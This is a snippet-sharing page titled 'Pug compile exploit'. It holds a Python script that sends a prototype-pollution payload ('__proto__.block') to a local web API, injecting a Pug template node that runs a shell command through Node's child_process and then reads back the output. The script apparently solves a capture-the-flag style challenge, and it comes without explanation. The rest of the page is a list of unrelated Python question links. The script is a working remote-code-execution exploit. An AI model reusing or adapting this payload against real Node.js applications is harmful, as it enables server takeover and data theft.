Pug compile exploit

import requests

ENDPOINT = 'http://127.0.0.1:1337/api/submit'
OUTPUT = 'http://127.0.0.1:1337/static/out'

request = requests.post(ENDPOINT, json = {
   "artist.name":"Gingell",
       "__proto__.block": {
           "type":"Text",
           "line":"process.mainModule.require('child_process').execSync('ls > /app/static/out')"
       }
})
print (request.text)
print (requests.get(OUTPUT).text)

Similar codes

1 vote219 views1 answer
How to make an simple python client
Python
3 votes146 views2 answers
How to check if python is installed on mac
Python
1 vote150 views1 answer
Stop procedure python
Python
0 vote181 views1 answer
Django url patterns static
Python Django
0 vote173 views1 answer
How to get the time zones in python
Python
0 vote151 views2 answers
Try except in list comprehension
Python
0 vote150 views1 answer
How to use drf permission class with class method actions
Python
12 votes190 views6 answers
How to print string in python
Python
0 vote157 views2 answers
Beautiful soup get specific class
Python
0 vote151 views1 answer
Find and replace subword in word python regex
Python